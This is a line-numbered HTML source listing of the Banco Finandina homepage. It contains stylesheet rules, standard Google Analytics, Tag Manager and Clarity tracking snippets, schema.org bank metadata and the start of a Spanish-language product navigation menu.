.footer-legal__col-head { 2790 display: flex; 2791 align-items: center; 2792 gap: 6px; 2793 margin-bottom: 3px; 2794 } 2795 2796 .footer-legal__col-head svg { 2797 flex-shrink: 0; 2798 color: #7835c3; 2799 opacity: 0.85; 2800 } 2801 2802 .footer-legal__col-head strong { 2803 font-size: 11px; 2804 font-weight: 700; 2805 color: #49286f; 2806 line-height: 1.3; 2807 } 2808 2809 .footer-legal__col p { 2810 font-size: 10.5px; 2811 color: #7a6a9a; 2812 line-height: 1.5; 2813 margin: 0; 2814 } 2815 2816 .footer-legal__col p strong { 2817 color: #49286f; 2818 font-weight: 600; 2819 } 2820 2821 .footer-legal__col a { 2822 color: #7835c3; 2823 text-decoration: none; 2824 } 2825 2826 .footer-legal__col a:hover { 2827 text-decoration: underline; 2828 } 2829 2830 .footer-legal__vdiv { 2831 width: 1px; 2832 background: rgba(120, 53, 195, 0.15); 2833 flex-shrink: 0; 2834 align-self: stretch; 2835 margin: 4px 0; 2836 } 2837 2838 @media (max-width: 820px) { 2839 .footer-legal__container { 2840 flex-direction: column; 2841 gap: 12px; 2842 padding: 16px 20px; 2843 } 2844 .footer-legal__col { 2845 padding: 0; 2846 } 2847 .footer-legal__vdiv { 2848 width: 100%; 2849 height: 1px; 2850 align-self: auto; 2851 margin: 0; 2852 } 2853 } 2854 2855 @media (max-width: 560px) { 2856 .footer-legal__container { 2857 padding: 14px 16px; 2858 } 2859 .footer-legal__col-head strong { 2860 font-size: 10.5px; 2861 } 2862 .footer-legal__col p { 2863 font-size: 10px; 2864 } 2865 } 2866 2867 #hs_cos_wrapper_footer-module-1 .logo-footer { 2868 max-width:98vw; 2869 height:auto; 2870} 2871 2872#hs_cos_wrapper_footer-module-1 .logos-footer { 2873 padding:14px 21px; 2874 list-style:none; 2875 margin:0; 2876} 2877 2878#hs_cos_wrapper_footer-module-1 .logos-foot-f { list-style:none; } 2879 2880#hs_cos_wrapper_footer-module-1 .logos-footer img, 2881#hs_cos_wrapper_footer-module-1 .row-mov img { 2882 max-width:100%; 2883 height:auto; 2884} 2885 2886#hs_cos_wrapper_footer-module-1 .hr-22 { 2887 margin-top:22px; 2888 margin-bottom:22px; 2889} 2890 2891@media (max-width:600px) { 2892 #hs_cos_wrapper_footer-module-1 .row-mov { 2893 flex-direction:row; 2894 justify-content:space-evenly; 2895 } 2896 2897 #hs_cos_wrapper_footer-module-1 .mov-100 { width:100%; } 2898 2899 #hs_cos_wrapper_footer-module-1 .logo-footer { width:370px; } 2900 2901 #hs_cos_wrapper_footer-module-1 .logos-footer { 2902 flex-direction:row; 2903 flex-wrap:wrap; 2904 padding:10px 22px; 2905 } 2906 2907 #hs_cos_wrapper_footer-module-1 .logos-foot-f { 2908 width:auto; 2909 max-width:48%; 2910 } 2911 2912 #hs_cos_wrapper_footer-module-1 .logos-foot-f img { 2913 width:100%; 2914 height:auto; 2915 } 2916} 2917 2918 @media (max-width: 600px) { 2919 footer .pt-72 { 2920 padding-top: 48px; 2921 } 2922 footer ul[role=menu] li { 2923 margin: 0; 2924 width: 100%; 2925 } 2926 .links-col4 { 2927 margin-bottom: 30px!important; 2928 } 2929 footer ul[role=menu] { 2930 margin: 0; 2931 } 2932 } 2933</style> 2934 2935<!-- Editor Styles --> 2936<style id="hs_editor_style" type="text/css"> 2937#hs_cos_wrapper_module_17866489677233 { display: block !important; padding-bottom: 20px !important; padding-top: 20px !important } 2938#hs_cos_wrapper_module_17866482347273 { display: block !important; padding-bottom: 20px !important; padding-top: 20px !important } 2939#hs_cos_wrapper_module_17889763360194 { display: block !important; padding-bottom: 16px !important; padding-top: 15px !important } 2940#hs_cos_wrapper_module_17866489677233 { display: block !important; padding-bottom: 20px !important; padding-top: 20px !important } 2941#hs_cos_wrapper_module_17866482347273 { display: block !important; padding-bottom: 20px !important; padding-top: 20px !important } 2942#hs_cos_wrapper_module_17889763360194 { display: block !important; padding-bottom: 16px !important; padding-top: 15px !important } 2943</style> 2944 2945 2946 2947 2948 2949<!-- Added by GoogleAnalytics4 integration -->
2950<script data-cookieconsent="ignore"> 2951var _hsp = window._hsp = window._hsp || []; 2952window.dataLayer = window.dataLayer || []; 2953function gtag(){dataLayer.push(arguments);} 2954 2955var useGoogleConsentModeV2 = true; 2956var waitForUpdateMillis = 1000; 2957 2958 2959if (!window._hsGoogleConsentRunOnce) { 2960 window._hsGoogleConsentRunOnce = true; 2961 2962 gtag('consent', 'default', { 2963 'ad_storage': 'denied', 2964 'analytics_storage': 'denied', 2965 'ad_user_data': 'denied', 2966 'ad_personalization': 'denied', 2967 'wait_for_update': waitForUpdateMillis 2968 }); 2969 2970 if (useGoogleConsentModeV2) { 2971 _hsp.push(['useGoogleConsentModeV2']) 2972 } else { 2973 _hsp.push(['addPrivacyConsentListener', function(consent){ 2974 var hasAnalyticsConsent = consent && (consent.allowed || (consent.categories && consent.categories.analytics)); 2975 var hasAdsConsent = consent && (consent.allowed || (consent.categories && consent.categories.advertisement)); 2976 2977 gtag('consent', 'update', { 2978 'ad_storage': hasAdsConsent ? 'granted' : 'denied', 2979 'analytics_storage': hasAnalyticsConsent ? 'granted' : 'denied', 2980 'ad_user_data': hasAdsConsent ? 'granted' : 'denied', 2981 'ad_personalization': hasAdsConsent ? 'granted' : 'denied' 2982 }); 2983 }]); 2984 } 2985} 2986 2987gtag('js', new Date()); 2988gtag('set', 'developer_id.dZTQ1Zm', true); 2989gtag('config', 'G-260737688'); 2990</script>
vendor: 92 bytes, lines 2990-2991
2990 2991<script data-cookieconsent="ignore" async src="https://www.googletagmanager.com/gtag/js?id=
2991G-260737688
vendor: 13 bytes, lines 2991-2992
2991"></script> 2992
2993<!-- /Added by GoogleAnalytics4 integration --> 2994 2995<!-- Added by GoogleTagManager integration -->
2996<script data-cookieconsent="ignore"> 2997var _hsp = window._hsp = window._hsp || []; 2998window.dataLayer = window.dataLayer || []; 2999function gtag(){dataLayer.push(arguments);} 3000 3001var useGoogleConsentModeV2 = true; 3002var waitForUpdateMillis = 1000; 3003 3004if (useGoogleConsentModeV2) { 3005 3006 gtag('set','developer_id.dZTQ1Zm',true); 3007 3008 gtag('consent', 'default', { 3009 'ad_storage': 'denied', 3010 'analytics_storage': 'denied', 3011 'ad_user_data': 'denied', 3012 'ad_personalization': 'denied', 3013 'wait_for_update': waitForUpdateMillis 3014 }); 3015} 3016 3017var hsLoadGtm = function loadGtm() { 3018 if(window._hsGtmLoadOnce) { 3019 return; 3020 } 3021 3022 if (useGoogleConsentModeV2) { 3023 _hsp.push(['useGoogleConsentModeV2']) 3024 }
vendor: 349 bytes, lines 3024-3030
3024 3025 3026 (function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': 3027 new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], 3028 j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 3029 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); 3030 })(window,document,'script','dataLayer','
3030GTM-N4GMR9
vendor: 9 bytes, lines 3030-3032
3030'); 3031 3032
3032window._hsGtmLoadOnce = true; 3033}; 3034 3035_hsp.push(['addPrivacyConsentListener', function(consent){ 3036 if(consent.allowed || (consent.categories && consent.categories.analytics)){ 3037 hsLoadGtm(); 3038 } 3039}]); 3040 3041</script>
3041 3042 3043<!-- /Added by GoogleTagManager integration --> 3044 3045 <link rel="canonical" href="https://www.bancofinandina.com/"> 3046 3047 3048<meta property="og:url" content="https://www.bancofinandina.com/"> 3049<meta name="twitter:card" content="summary"> 3050<meta http-equiv="content-language" content="es"> 3051 3052 3053 3054 3055 3056<meta name="google-site-verification" content="3dc5uLQF-WfWr-xlkI6BJA8ckyKKyX9kRQGPhtPhbPg">
3057<script type="text/javascript"> 3058 (function(c,l,a,r,i,t,y){ 3059 c[a]=c[a]||function(){(c[a].q=c[a].q||[]).push(arguments)}; 3060 t=l.createElement(r);t.async=1;t.src="https://www.clarity.ms/tag/"+i; 3061 y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y); 3062 })(window, document, "clarity", "script", "m8tr7zhqu9"); 3063</script>
3063 3064 3065 3066 3067<style> 3068 #hs_cos_wrapper_dnd_area-dnd_partial-3-module-1 .card__img { 3069 position: absolute; 3070 right: -10px; 3071 top: -30px; 3072 z-index: 0; 3073 transform: translateX(0); 3074 transition: transform 900ms cubic-bezier(.22, .61, .36, 1);} 3075 3076 3077 #hs_cos_wrapper_dnd_area-dnd_partial-8-module-2 .section-carrusel .slide::before { 3078 content: ""; 3079 position: absolute; 3080 inset: 0; 3081 background: none !important; 3082} 3083 </style> 3084 3085 3086<meta property="og:locale" content="es-co"> 3087<meta property="fb:app_id" content="10219974377904133"> 3088 3089<!--Datos estructurados----->
3090<script type="application/ld+json"> 3091 { 3092 "@context": "http://schema.org", 3093 "@type": "BankOrCreditUnion", 3094 "name": "Banco Finandina", 3095 "description": "El Banco Digital de Colombia, a través del uso de la tecnologÃa y la información, ofrecemos en todo momento una experiencia ágil, fácil y segura.", 3096 "telephone": "018000912886", 3097 "ContactPoint": "https://www.bancofinandina.com/servicio-al-cliente", 3098 "image": "https://www.bancofinandina.com/RS//assets/img/banco-finandina.svg", 3099 "priceRange": "0", 3100 "address": { "addresslocality" : "Kilómetro 17 Carretera central del norte Bogotá - ChÃa, ChÃa, Cundinamarca" 3101 } 3102 } 3103 </script>
vendor: 1 bytes, line 3103
3103
3104<script type="application/ld+json"> 3105 { 3106 "@context": "https://schema.org", 3107 "@type": "Organization", 3108 "url": "https://www.bancofinandina.com/", 3109 "logo": "https://www.bancofinandina.com/RS//assets/img/banco-finandina.svg" 3110 } 3111</script>
vendor: 1 bytes, line 3111
3111
3112<script type="application/ld+json"> 3113 { 3114 "@context": "http://schema.org", 3115 "@type": "Organization", 3116 "name": "Banco Finandina", 3117 "url": "https://www.bancofinandina.com/", 3118 "sameAs": [ 3119 "https://es-la.facebook.com/BancoFinandina/", 3120 "https://mobile.twitter.com/BancoFinandina/", 3121 "https://www.instagram.com/bancofinandina/", 3122 "https://www.linkedin.com/company/banco-finandina/" 3123 ] 3124 } 3125</script>
3125 3126 3127 3128 3129
3129<script type="application/ld+json"> 3130 { 3131 "@context": "https://schema.org", 3132 "@type": "Organization", 3133 "name": "Banco Finandina", 3134 "url": "https://www.bancofinandina.com", 3135 "logo": "https://46676057.fs1.hubspotusercontent-na1.net/hubfs/46676057/logo_horizontal_color_BFA.png", 3136 "contactPoint": { 3137 "@type": "ContactPoint", 3138 "contactType": "customer service", 3139 "areaServed": "CO", 3140 "availableLanguage": "es" 3141 } 3142 } 3143 </script>
3143 3144 3145 3146 3147 <style> 3148 header.site-header{z-index:999;} 3149 /* ââ Cookie Banner ââ */ 3150 .cookie-banner{position:fixed;bottom:0;left:0;right:0;z-index:9999;padding:0 20px 20px;pointer-events:none;transform:translateY(calc(100% + 20px));transition:transform .35s cubic-bezier(.34,1.2,.64,1)} 3151 .cookie-banner--visible{transform:translateY(0);pointer-events:auto} 3152 .cookie-banner__inner{max-width:1240px;margin:0 auto;background:#fff;border:1px solid rgba(120,53,195,.14);border-radius:28px;box-shadow:0 -4px 32px rgba(73,40,111,.1),0 8px 40px rgba(73,40,111,.08);padding:20px 28px;display:flex;align-items:center;gap:24px;flex-wrap:wrap} 3153 .cookie-banner__icon{flex-shrink:0;width:40px;height:40px;background:rgba(120,53,195,.08);border-radius:12px;display:flex;align-items:center;justify-content:center;color:#7835c3} 3154 .cookie-banner__content{display:flex;align-items:center;gap:16px;flex:1;min-width:240px} 3155 .cookie-banner__text-wrap{flex:1} 3156 .cookie-banner__title{font-size:14px;font-weight:700;color:#49286f;margin:0 0 3px;line-height:1.3} 3157 .cookie-banner__desc{font-size:13px;color:#555;line-height:1.5;margin:0} 3158 .cookie-banner__desc a{color:#7835c3;text-decoration:underline;white-space:nowrap} 3159 .cookie-banner__desc a:hover{color:#49286f} 3160 .cookie-banner__actions{display:flex;gap:10px;flex-shrink:0;flex-wrap:wrap;align-items:center} 3161 .cookie-banner__btn{display:inline-flex;align-items:center;justify-content:center;padding:10px 22px;border-radius:12px;font-size:13.5px;font-weight:600;font-family:inherit;cursor:pointer;transition:opacity .18s,transform .18s,box-shadow .18s,background .18s;white-space:nowrap;min-height:42px;border:none;line-height:1} 3162 .cookie-banner__btn--primary{background:#e31952;color:#fff;box-shadow:0 4px 14px rgba(227,25,82,.25)} 3163 .cookie-banner__btn--primary:hover{background:#c4133f;transform:translateY(-1px);box-shadow:0 6px 20px rgba(227,25,82,.32)} 3164 .cookie-banner__btn--secondary{background:#fff;color:#7835c3;border:1.5px solid rgba(120,53,195,.3)} 3165 .cookie-banner__btn--secondary:hover{border-color:#7835c3;background:rgba(120,53,195,.05);transform:translateY(-1px)} 3166 @media(max-width:740px){.cookie-banner{padding:0 12px 12px}.cookie-banner__inner{padding:18px 20px;gap:16px;border-radius:20px}.cookie-banner__icon{display:none}.cookie-banner__content{min-width:100%;gap:12px}.cookie-banner__actions{width:100%;flex-direction:row-reverse}.cookie-banner__btn{flex:1;font-size:13px;padding:10px 16px}} 3167 @media(max-width:400px){.cookie-banner__actions{flex-direction:column-reverse}.cookie-banner__btn{width:100%}} 3168 </style> 3169 <meta name="generator" content="HubSpot"></head> 3170 <body> 3171<!-- Added by GoogleTagManager integration -->
vendor: 68 bytes, lines 3171-3172
3171 3172<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=
3172GTM-N4GMR9
vendor: 84 bytes, lines 3172-3173
3172" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript> 3173
3174<!-- /Added by GoogleTagManager integration --> 3175 3176 3177 <div data-global-resource-path="Finandina 2025/templates/partials/header.html"><!-- Begin partial --> 3178<header class="site-header"> 3179 <div class="container-fluid"> 3180<div class="row-fluid-wrapper"> 3181<div class="row-fluid"> 3182<div class="span12 widget-span widget-type-cell " style="" data-widget-type="cell" data-x="0" data-w="12"> 3183 3184<div class="row-fluid-wrapper row-depth-1 row-number-1 dnd-section"> 3185<div class="row-fluid "> 3186<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 3187<div id="hs_cos_wrapper_header-module-1" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"> 3188 3189 3190 3191 3192 3193 3194 3195 3196 3197 3198 3199 3200 3201 3202 3203 3204<div id="nav-bar" class="border-bg"> 3205 <nav class="site-nav" aria-label="Navegación principal"> 3206 <div class="logo"> 3207 <a href="/" class="logo-link" aria-label="Ir al inicio"> 3208 <img src="https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=114&height=36&name=logo-banco-finandina.png" alt="logo-banco-finandina" loading="lazy" width="114" height="36" srcset="https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=57&height=18&name=logo-banco-finandina.png 57w, https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=114&height=36&name=logo-banco-finandina.png 114w, https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=171&height=54&name=logo-banco-finandina.png 171w, https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=228&height=72&name=logo-banco-finandina.png 228w, https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=285&height=90&name=logo-banco-finandina.png 285w, https://www.bancofinandina.com/hs-fs/hubfs/logo-banco-finandina.png?width=342&height=108&name=logo-banco-finandina.png 342w" sizes="(max-width: 114px) 100vw, 114px"> 3209 <img class="logo-dark" src="https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(3).png?width=114&height=36&name=Logo%20(3).png" alt="Logo (3)" loading="lazy" width="114" height="36" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(3).png?width=57&height=18&name=Logo%20(3).png 57w, https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(3).png?width=114&height=36&name=Logo%20(3).png 114w, https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(3).png?width=171&height=54&name=Logo%20(3).png 171w, https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(3).png?width=228&height=72&name=Logo%20(3).png 228w, https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(3).png?width=285&height=90&name=Logo%20(3).png 285w, https://www.bancofinandina.com/hs-fs/hubfs/Logo%20(3).png?width=342&height=108&name=Logo%20(3).png 342w" sizes="(max-width: 114px) 100vw, 114px"> 3210 </a> 3211 3212 <div class="border-red"> 3213 <a class="btn-primary no-border active" href="https://www.bancofinandina.com/">Personas</a> 3214 <a class="btn-primary no-border " href="https://www.bancofinandina.com/empresas">Empresas</a> 3215 </div> 3216</div> 3217 <div class="todo-ellogo"> 3218 <ul role="menu" class="menu-responsive"> 3219 3220 <li class="hs-menu-item hs-menu-depth-1 hs-item-has-children" role="none"> 3221 3222 <details role="menuitem" target="_self" aria-haspopup="true" aria-expanded="false"> 3223 <summary style="display:flex; gap:5px"> 3224 Productos 3225 <svg xmlns="http://www.w3.org/2000/svg" width="12" height="6" viewbox="0 0 12 6" fill="none"> 3226 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.142519 0.143721C0.332545 -0.0479071 0.640638 -0.0479071 0.830664 0.143721L5.06077 4.4095C5.37031 4.72165 5.87969 4.72165 6.18923 4.4095L10.4193 0.143721C10.6094 -0.0479071 10.9175 -0.0479071 11.1075 0.143721C11.2975 0.33535 11.2975 0.64604 11.1075 0.837669L6.87738 5.10344C6.18778 5.79885 5.06222 5.79885 4.37262 5.10344L0.142519 0.837669C-0.0475065 0.64604 -0.0475065 0.33535 0.142519 0.143721Z"></path> 3227 </svg> 3228 </summary> 3229 </details> 3230 <div class="trans-border hs-menu-children-wrapper"> 3231 <!-- Capas del Glass --> 3232 <div class="glass-filter"></div> 3233 <div class="glass-overlay"></div> 3234 <div class="glass-specular"></div> 3235 <div class="menu-inner-wrap"> 3236 <ul role="menu" class="" style="padding: 20px;"> 3237 3238 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3239 <div class="sublink" style="text-align: left; font-size: 16px; font-weight: 500; padding: 6px 12px; line-height: 19px; height: 33px;"> 3240 <a href="https://www.bancofinandina.com/productos/credito-vehiculo" role="menuitem" target="_self" style="display: contents; color: inherit; text-decoration: none;"> 3241 <div class="submenu-icon"> 3242 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=29&height=16&name=Union.png" alt="Union" width="29" height="16" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=15&height=8&name=Union.png 15w, https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=29&height=16&name=Union.png 29w, https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=44&height=24&name=Union.png 44w, https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=58&height=32&name=Union.png 58w, https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=73&height=40&name=Union.png 73w, https://www.bancofinandina.com/hs-fs/hubfs/Union.png?width=87&height=48&name=Union.png 87w" sizes="(max-width: 29px) 100vw, 29px"> 3243 </div> 3244 </a> 3245 <div class="contenedor-menu-texto"> 3246 <div> 3247 <a href="https://www.bancofinandina.com/productos/credito-vehiculo" role="menuitem" target="_self" style="color: inherit; text-decoration: none; padding: 0; height: auto; display: block; line-height: inherit; font-size: inherit; font-weight: inherit;"> 3248 Crédito de vehÃculo 3249 </a> 3250 </div> 3251 3252 <div> 3253 <a href="https://solicituddigital.bancofinandina.com/formulario-de-venta/credito-de-vehiculo?tipoProducto=CreditoVehiculo&origen=BotonMenuGlobalVehiculos" role="menuitem" target="_self" style="padding: 0; height: auto; text-decoration: none; display: inline-block;">
3254 <span class="btn-solicita">Solicitar ya</span> 3255 </a> 3256 </div> 3257 3258 </div> 3259 <a href="https://www.bancofinandina.com/productos/credito-vehiculo" role="menuitem" target="_self" style="margin-left: auto; padding: 0; height: auto; display: flex; align-items: center; text-decoration: none;"> 3260 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3261 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3262 </svg> 3263 </a> 3264 </div> 3265 </li> 3266 3267 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3268 <div class="sublink" style="text-align: left; font-size: 16px; font-weight: 500; padding: 6px 12px; line-height: 19px; height: 33px;"> 3269 <a href="https://www.bancofinandina.com/productos/tarjetas-credito" role="menuitem" target="_self" style="display: contents; color: inherit; text-decoration: none;"> 3270 <div class="submenu-icon"> 3271 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=23&height=15&name=Group%20(2).png" alt="Group (2)" width="23" height="15" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=12&height=8&name=Group%20(2).png 12w, https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=23&height=15&name=Group%20(2).png 23w, https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=35&height=23&name=Group%20(2).png 35w, https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=46&height=30&name=Group%20(2).png 46w, https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=58&height=38&name=Group%20(2).png 58w, https://www.bancofinandina.com/hs-fs/hubfs/Group%20(2).png?width=69&height=45&name=Group%20(2).png 69w" sizes="(max-width: 23px) 100vw, 23px"> 3272 </div> 3273 </a> 3274 <div class="contenedor-menu-texto"> 3275 <div> 3276 <a href="https://www.bancofinandina.com/productos/tarjetas-credito" role="menuitem" target="_self" style="color: inherit; text-decoration: none; padding: 0; height: auto; display: block; line-height: inherit; font-size: inherit; font-weight: inherit;"> 3277 Tarjetas de crédito 3278 </a> 3279 </div> 3280 3281 <div> 3282 <a href="https://solicituddigital.bancofinandina.com/formulario-de-venta/tarjeta-de-credito?tipoProducto=TarjetaCredito&origen=BotonMenuGlobalTarjetasCredito" role="menuitem" target="_self" style="padding: 0; height: auto; text-decoration: none; display: inline-block;"> 3283 <span class="btn-solicita">Solicitar ya</span> 3284 </a> 3285 </div> 3286 3287 </div> 3288 <a href="https://www.bancofinandina.com/productos/tarjetas-credito" role="menuitem" target="_self" style="margin-left: auto; padding: 0; height: auto; display: flex; align-items: center; text-decoration: none;"> 3289 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3290 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3291 </svg> 3292 </a> 3293 </div> 3294 </li> 3295 3296 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3297 <div class="sublink" style="text-align: left; font-size: 16px; font-weight: 500; padding: 6px 12px; line-height: 19px; height: 33px;"> 3298 <a href="https://www.bancofinandina.com/productos/cuentas-de-ahorro" role="menuitem" target="_self" style="display: contents; color: inherit; text-decoration: none;"> 3299 <div class="submenu-icon"> 3300 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=18&height=25&name=Group%2034649.png" alt="Group 34649" width="18" height="25" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=9&height=13&name=Group%2034649.png 9w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=18&height=25&name=Group%2034649.png 18w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=27&height=38&name=Group%2034649.png 27w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=36&height=50&name=Group%2034649.png 36w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=45&height=63&name=Group%2034649.png 45w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034649.png?width=54&height=75&name=Group%2034649.png 54w" sizes="(max-width: 18px) 100vw, 18px"> 3301 </div> 3302 </a> 3303 <div class="contenedor-menu-texto"> 3304 <div> 3305 <a href="https://www.bancofinandina.com/productos/cuentas-de-ahorro" role="menuitem" target="_self" style="color: inherit; text-decoration: none; padding: 0; height: auto; display: block; line-height: inherit; font-size: inherit; font-weight: inherit;"> 3306 Cuentas de ahorro 3307 </a> 3308 </div> 3309 3310 <div> 3311 <a href="https://solicituddigital.bancofinandina.com:8097/abrir-cuenta-de-ahorro-flexidigital-plus?Origen=BotonMenuGlobalFlexiDigital" role="menuitem" target="_self" style="padding: 0; height: auto; text-decoration: none; display: inline-block;">
3312 <span class="btn-solicita">Solicitar ya</span> 3313 </a> 3314 </div> 3315 3316 </div> 3317 <a href="https://www.bancofinandina.com/productos/cuentas-de-ahorro" role="menuitem" target="_self" style="margin-left: auto; padding: 0; height: auto; display: flex; align-items: center; text-decoration: none;"> 3318 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3319 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3320 </svg> 3321 </a> 3322 </div> 3323 </li> 3324 3325 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3326 <div class="sublink" style="text-align: left; font-size: 16px; font-weight: 500; padding: 6px 12px; line-height: 19px; height: 33px;"> 3327 <a href="https://www.bancofinandina.com/productos/cdts" role="menuitem" target="_self" style="display: contents; color: inherit; text-decoration: none;"> 3328 <div class="submenu-icon"> 3329 <img src="https://www.bancofinandina.com/hubfs/cdt.svg" alt="cdt" width="24" height="22"> 3330 </div> 3331 </a> 3332 <div class="contenedor-menu-texto"> 3333 <div> 3334 <a href="https://www.bancofinandina.com/productos/cdts" role="menuitem" target="_self" style="color: inherit; text-decoration: none; padding: 0; height: auto; display: block; line-height: inherit; font-size: inherit; font-weight: inherit;"> 3335 CDT 3336 </a> 3337 </div> 3338 3339 <div> 3340 <a href="https://www.bancofinandina.com/productos/cdts/simulador-cdt" role="menuitem" target="_self" style="padding: 0; height: auto; text-decoration: none; display: inline-block;"> 3341 <span class="btn-solicita">Invertir ya</span> 3342 </a> 3343 </div> 3344 3345 </div> 3346 <a href="https://www.bancofinandina.com/productos/cdts" role="menuitem" target="_self" style="margin-left: auto; padding: 0; height: auto; display: flex; align-items: center; text-decoration: none;"> 3347 <svg width="6" height="11" viewbox="0 0 6 11" fill="none" xmlns="http://www.w3.org/2000/svg"> 3348 <path fill-rule="evenodd" clip-rule="evenodd" d="M0.13414 0.133018C0.312993 -0.0443394 0.602971 -0.0443394 0.781824 0.133018L4.76321 4.08112C5.41226 4.72474 5.41226 5.77526 4.76321 6.41888L0.781824 10.367C0.602971 10.5443 0.312993 10.5443 0.13414 10.367C-0.0447133 10.1896 -0.0447133 9.90207 0.13414 9.72471L4.11553 5.77662C4.40687 5.48771 4.40687 5.01229 4.11553 4.72338L0.13414 0.775286C-0.0447133 0.597929 -0.0447133 0.310376 0.13414 0.133018Z" fill="#555555" /> 3349 </svg> 3350 </a> 3351 </div> 3352 </li> 3353 3354 <li class="hs-menu-item hs-menu-depth-2" role="none"> 3355 <div class="sublink" style="text-align: left; font-size: 16px; font-weight: 500; padding: 6px 12px; line-height: 19px; height: 33px;"> 3356 <a href="https://www.bancofinandina.com/productos/creditos/libranza" role="menuitem" target="_self" style="display: contents; color: inherit; text-decoration: none;"> 3357 <div class="submenu-icon"> 3358 <img src="https://www.bancofinandina.com/hubfs/ico-libranza.svg" alt="ico-libranza" width="23" height="15"> 3359 </div> 3360 </a> 3361 <div class="contenedor-menu-texto"> 3362 <div> 3363 <a href="https://www.bancofinandina.com/productos/creditos/libranza" role="menuitem" target="_self" style="color: inherit; text-decoration: none; padding: 0; height: auto; display: block; line-height: inherit; font-size: inherit; font-weight: inherit;"> 3364 Libranza 3365 </a> 3366 </div> 3367 3368 <div> 3369 <a href="https://www.bancofinandina.com/productos/creditos/libranza/solicitud-de-libranza?tipoProducto=CreditoLibranza&origen_fe=BotonMenuGlobalLibranza" role="menuitem" target="_self" style="padding: 0; height: auto; text-decoration: none; display: inline-block;">
